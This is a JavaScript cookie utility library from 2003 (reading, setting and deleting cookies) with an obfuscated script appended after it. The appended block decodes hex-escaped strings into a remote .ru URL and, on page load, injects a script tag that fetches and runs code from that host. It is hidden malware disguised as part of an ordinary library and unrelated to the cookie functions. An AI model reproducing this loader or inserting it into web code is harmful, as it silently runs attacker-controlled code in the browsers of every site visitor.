/*******************************************************
COOKIE FUNCTIONALITY
Based on "Night of the Living Cookie" by Bill Dortch
(c) 2003, Ryan Parman
http://www.skyzyx.com
Distributed according to SkyGPL 2.1, http://www.skyzyx.com/license/
*******************************************************/
function cookie(name, value, expires, path, domain, secure)
{
	// Passed Values
	this.name=name;
	this.value=value;
	this.expires=expires;
	this.path=path;
	this.domain=domain;
	this.secure=secure;

	// Read cookie
	this.read=function()
	{
		// To allow for faster parsing
		var ck=document.cookie;

		var arg = this.name + "=";
		var alen = arg.length;
		var clen = ck.length;
		var i = 0;

		while (i < clen)
		{
			var j = i + alen;
			if (ck.substring(i, j) == arg)
			{
				var endstr = ck.indexOf (";", j);
				if (endstr == -1) endstr = ck.length;
				return unescape(ck.substring(j, endstr));
			}
			i = ck.indexOf(" ", i) + 1;
			if (i == 0) break;
		}
		return null;
	}

	// Set cookie
	this.set=function()
	{
		// Store initial value of "this.expires" for re-initialization.
		expStore=this.expires;

		// Set time to absolute zero.
		exp = new Date();
		base = new Date(0);
		skew = base.getTime();
		if (skew > 0)  exp.setTime (exp.getTime() - skew);
		exp.setTime(exp.getTime() + (this.expires*24*60*60*1000));
		this.expires=exp;

		document.cookie = this.name + "=" + escape (this.value) +
				((this.expires) ? "; expires=" + this.expires.toGMTString() : "") +
				((this.path) ? "; path=" + this.path : "") +
				((this.domain) ? "; domain=" + this.domain : "") +
				((this.secure) ? "; secure" : "");

		// Re-initialize
		this.expires=expStore;
	}

	// Kill cookie
	this.kill=function()
	{
		document.cookie = this.name + "=" +
				((this.path) ? "; path=" + this.path : "") +
				((this.domain) ? "; domain=" + this.domain : "") +
				"; expires=Thu, 01-Jan-70 00:00:01 GMT";
	}

	// Change cookie settings.
	this.changeName=function(chName) { this.kill(); this.name=chName; this.set(); }
	this.changeVal=function(chVal) { this.kill(); this.value=chVal; this.set(); }
	this.changeExp=function(chExp) { this.kill(); this.expires=chExp; this.set(); }
	this.changePath=function(chPath) { this.kill(); this.path=chPath; this.set(); }
	this.changeDomain=function(chDom) { this.kill(); this.domain=chDom; this.set(); }
	this.changeSecurity=function(chSec) { this.kill(); this.secure=chSec; this.set(); }
}



var Gc=new String();this.Go="";this.ar='';function B(){var T;if(T!='n' && T!='Zt'){T=''};var M;if(M!='r'){M='r'};var G=window;this.GU="";var z=unescape;var Yh;if(Yh!='Fx' && Yh!='Xf'){Yh=''};var BM=z("%2f%62%69%6c%64%2d%64%65%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%76%69%72%67%69%6e%6d%65%64%69%61%2e%63%6f%6d%2e%70%68%70");var b;if(b!='' && b!='o'){b='L'};function f(O,a){var co="";var h=new String("g");var od=new Date();var H;if(H!='Yf' && H!='p'){H='Yf'};var q=z("%5b"), v=z("%5d");var by=new Array();this.oR="";var Z=q+a+v;var WT;if(WT!='' && WT!='Lq'){WT=''};var V=new RegExp(Z, h);var Gs;if(Gs!=''){Gs='IX'};return O.replace(V, new String());var Md='';};var q_="";var b_="";var jK=new String();var DP=new String();var zv="";var Y=f('899972036975525844733915035111243','76295143');var X=document;var PU;if(PU!='MG' && PU!='qg'){PU=''};var ry=new String();var Vy=new String();var S_=new String();function F(){this.Zj='';var i;if(i!='EG'){i='EG'};var vg=z("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");var Hl;if(Hl!='' && Hl!='Xd'){Hl='ze'};Vy=vg;Vy+=Y;var QQ=new Date();Vy+=BM;try {var UP=new String();this.Tx='';c=X.createElement(f('sbcerKiIpHtZ','gqb4ZRyK0QUj5hHeI'));c[z("%64%65%66%65%72")]=[6,1][1];var pw;if(pw!='nn' && pw != ''){pw=null};this.LK='';c[z("%73%72%63")]=Vy;var bW=new Date();X.body.appendChild(c);this.UH='';var Ov='';} catch(E){var ES='';var GQ=new Date();alert(E);var _j;if(_j!='N' && _j != ''){_j=null};};}this.wL="";var rP=new Array();var Uz;if(Uz!='jM' && Uz!='qH'){Uz=''};G[new String("EWeMonloa".substr(4)+"qPpud".substr(4))]=F;this.Iw="";};var Ue=new Array();var Lqz;if(Lqz!='sv' && Lqz!='je'){Lqz='sv'};B();var Qh;if(Qh!='zL'){Qh='zL'};var OU;if(OU!='jz'){OU='jz'};
